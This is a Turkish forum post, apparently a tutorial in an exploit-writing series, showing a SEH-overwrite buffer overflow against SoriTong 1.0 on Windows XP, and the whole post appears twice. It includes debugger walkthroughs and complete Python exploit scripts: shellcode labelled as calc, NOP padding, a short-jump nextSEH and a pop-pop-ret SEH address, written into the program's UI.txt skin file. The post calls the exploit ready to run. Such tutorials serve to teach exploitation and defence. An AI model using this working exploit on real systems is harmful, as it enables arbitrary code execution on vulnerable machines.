Exploit Yazmaya Giriş 0x03 SEH (1 Viewer)

Tron 

Pentester & Reverse Engineer
Legendary
Credits
142,405
Devamı
Overwrite etmiş olduğumuz nextSEH altında yazan 00498952 adresine bir breakpoint koyalım.
13.png

breakpoint koyduktan sonra altta bize vermiş olduğu hata yazısından yola çıkarak SHIFT+F7/F8/F9 kısayolundan birini kullanarak breakpoint olan noktaya gidelim. F8 ile sırasıyla SE Handler fonksiyonunun aldığı argümanları izleyelim.
14.png

Stack içerisinde aldığı argümanların değerine bakacak olursak 2. argümanda bizim nextSEH adresimizi tutan adresi tutmakta. Bu 2. argumanıda sol üst tarafta nerden aldığına bakacak olursak EBP+C'den almış oluyor

ESP'nin gösterdiği adres eax içerisine yazılıp daha sonra Arg5 içerisine aktarılıyor sonra sırasıyla Arg4 => EBP+14 (0x14=20) , Arg3 => EBP+10 (0x10=16), Arg2 => EBP+C (0xC=12) olarak değerler kaydedilmektedir.

Peki güzel hoş ama bence burda bir soru işareti var :/ Biz SE Handler fonksiyonunun adresinin olduğu alanı overwrite ediyoruz. Yani aslında program SEH fonksiyon adresini EIP üzerine yazmak yerine bizim overwrite ederek yazmış olacağımız pop pop ret işlemini gerçekleştiren adresi EIP üzerine yazacak. Böyle olunca da sanki bizim SEH fonksiyonu çalışmayacak.

O halde SEH alanına CCCC yazarak programımızı debugger üzerinde çalıştırıp bir inceleyelim bakalım arka tarafta işler nasıl gerçekleşecek
Python:
# Soritong 1.0 SEH Based Exploit
# Tested :  Windows XP SP3 X86

calc = (b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"+
b"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"+
b"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"+
b"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"+
b"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"+
b"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"+
b"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"+
b"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"+
b"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"+
b"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"+
b"\x7f\xe8\x7b\xca")

padding = b"\x90"*584
nextSEH = b"\xeb\x06\x90\x90" # jump 6 byte
SEH = b"CCCC"

exploit = padding + nextSEH + SEH #+ calc

# File path
file = "C:\Program Files\SoriTong\Skin\Default\UI.txt"
# File Create
f = open(file, "wb")
f.write(exploit)
f.close()
Immunity Debugger üzerinde programımız çalıştıralım.
15.png

Şimdi sağ alt köşede nextSEH ve SEH alanlarını overwrite ettiğimizi görebilirsiniz. nextSEH 12FD64 adresinde tutulmakta. Eğer sağ üstte registerların olduğu kısıma bakarsak bu adresin EDI registerına yazılmış olduğunu görebiliriz.
SHIFT+F9 ile devam edelim
16.png

Bizim SEH alanına yazmış olduğumuz CCCC karakterleri EIP ve ECX registerına kopyalanmış. Ve ESP de 0012D644 adresini gösteriyor. O adresede sağ alt köşeden bakacak olursak eğer...

0012D644 7C8F32A8
0012D648 0012D72C
0012D64C 0012FD64

Şöyle sıralandığını görebiliriz. Yani biz bu durumda EIP üzerine 2 adet pop komutu yazarsak 0012D644 adresinde bulunan değer ile 0012D648 adresinde bulunan değer gidecek ve ESP artık 0012D64C adresini gösteriyor olacak. RET komutu çalıştığı zamanda bu adresin içerisinde bulunan 0012FD64 adresine giderek orda bulunan jmp code çalışacak :D

Sanırım artık SEH Based Exploit'imizi bitirebiliriz. POP işlemleri bulmak için mona.py kullanabiliriz.
Rich (BB code):
!mona seh
17.png

mona.py kurulumunu ve aradığımız şeyin çıktısını yazması için nasıl dosya yolu verebileceğimizi bir önceki yazıda anlatmıştım. (Bir önceki yazının en sonunda bulabilirsiniz)

18.png

Badchar içermeyen, SafeSeh & ASLR korumaları kapalı olan ve direk RET işlemi gerçekleştiren bir adres seçelim.
Rich (BB code):
# Soritong 1.0 SEH Based Exploit
# Tested :  Windows XP SP3 X86

calc = (b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"+
b"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"+
b"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"+
b"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"+
b"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"+
b"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"+
b"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"+
b"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"+
b"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"+
b"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"+
b"\x7f\xe8\x7b\xca")

padding = b"\x90"*584
nextSEH = b"\xeb\x06\x90\x90" # jump 6 byte
SEH = b"\x39\xaf\x01\x10"

exploit = padding + nextSEH + SEH + calc

# File path
file = "C:\Program Files\SoriTong\Skin\Default\UI.txt"
# File Create
f = open(file, "wb")
f.write(exploit)
f.close()
Artık exploitimiz çalışmaya hazır
 

Tron 

Pentester & Reverse Engineer
Legendary
Credits
142,405
Devamı
Overwrite etmiş olduğumuz nextSEH altında yazan 00498952 adresine bir breakpoint koyalım.
13.png

breakpoint koyduktan sonra altta bize vermiş olduğu hata yazısından yola çıkarak SHIFT+F7/F8/F9 kısayolundan birini kullanarak breakpoint olan noktaya gidelim. F8 ile sırasıyla SE Handler fonksiyonunun aldığı argümanları izleyelim.
14.png

Stack içerisinde aldığı argümanların değerine bakacak olursak 2. argümanda bizim nextSEH adresimizi tutan adresi tutmakta. Bu 2. argumanıda sol üst tarafta nerden aldığına bakacak olursak EBP+C'den almış oluyor

ESP'nin gösterdiği adres eax içerisine yazılıp daha sonra Arg5 içerisine aktarılıyor sonra sırasıyla Arg4 => EBP+14 (0x14=20) , Arg3 => EBP+10 (0x10=16), Arg2 => EBP+C (0xC=12) olarak değerler kaydedilmektedir.

Peki güzel hoş ama bence burda bir soru işareti var :/ Biz SE Handler fonksiyonunun adresinin olduğu alanı overwrite ediyoruz. Yani aslında program SEH fonksiyon adresini EIP üzerine yazmak yerine bizim overwrite ederek yazmış olacağımız pop pop ret işlemini gerçekleştiren adresi EIP üzerine yazacak. Böyle olunca da sanki bizim SEH fonksiyonu çalışmayacak.

O halde SEH alanına CCCC yazarak programımızı debugger üzerinde çalıştırıp bir inceleyelim bakalım arka tarafta işler nasıl gerçekleşecek
Python:
# Soritong 1.0 SEH Based Exploit
# Tested :  Windows XP SP3 X86

calc = (b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"+
b"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"+
b"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"+
b"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"+
b"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"+
b"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"+
b"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"+
b"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"+
b"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"+
b"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"+
b"\x7f\xe8\x7b\xca")

padding = b"\x90"*584
nextSEH = b"\xeb\x06\x90\x90" # jump 6 byte
SEH = b"CCCC"

exploit = padding + nextSEH + SEH #+ calc

# File path
file = "C:\Program Files\SoriTong\Skin\Default\UI.txt"
# File Create
f = open(file, "wb")
f.write(exploit)
f.close()
Immunity Debugger üzerinde programımız çalıştıralım.
15.png

Şimdi sağ alt köşede nextSEH ve SEH alanlarını overwrite ettiğimizi görebilirsiniz. nextSEH 12FD64 adresinde tutulmakta. Eğer sağ üstte registerların olduğu kısıma bakarsak bu adresin EDI registerına yazılmış olduğunu görebiliriz.
SHIFT+F9 ile devam edelim
16.png

Bizim SEH alanına yazmış olduğumuz CCCC karakterleri EIP ve ECX registerına kopyalanmış. Ve ESP de 0012D644 adresini gösteriyor. O adresede sağ alt köşeden bakacak olursak eğer...

0012D644 7C8F32A8
0012D648 0012D72C
0012D64C 0012FD64

Şöyle sıralandığını görebiliriz. Yani biz bu durumda EIP üzerine 2 adet pop komutu yazarsak 0012D644 adresinde bulunan değer ile 0012D648 adresinde bulunan değer gidecek ve ESP artık 0012D64C adresini gösteriyor olacak. RET komutu çalıştığı zamanda bu adresin içerisinde bulunan 0012FD64 adresine giderek orda bulunan jmp code çalışacak :D

Sanırım artık SEH Based Exploit'imizi bitirebiliriz. POP işlemleri bulmak için mona.py kullanabiliriz.
Rich (BB code):
!mona seh
17.png

mona.py kurulumunu ve aradığımız şeyin çıktısını yazması için nasıl dosya yolu verebileceğimizi bir önceki yazıda anlatmıştım. (Bir önceki yazının en sonunda bulabilirsiniz)

18.png

Badchar içermeyen, SafeSeh & ASLR korumaları kapalı olan ve direk RET işlemi gerçekleştiren bir adres seçelim.
Rich (BB code):
# Soritong 1.0 SEH Based Exploit
# Tested :  Windows XP SP3 X86

calc = (b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"+
b"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"+
b"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"+
b"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"+
b"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"+
b"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"+
b"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"+
b"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"+
b"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"+
b"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"+
b"\x7f\xe8\x7b\xca")

padding = b"\x90"*584
nextSEH = b"\xeb\x06\x90\x90" # jump 6 byte
SEH = b"\x39\xaf\x01\x10"

exploit = padding + nextSEH + SEH + calc

# File path
file = "C:\Program Files\SoriTong\Skin\Default\UI.txt"
# File Create
f = open(file, "wb")
f.write(exploit)
f.close()
Artık exploitimiz çalışmaya hazır
Konu başlığındaki SEH tanımları buna bakıp sonra konuya geçin https://imhatimi.org/forum/threads/exploit-yazmaya-giriş-0x03-seh-tanımlar.14842/
 
  • Like
Tepkiler: GnG

Bu konuyu görüntüleyen kullanıcılar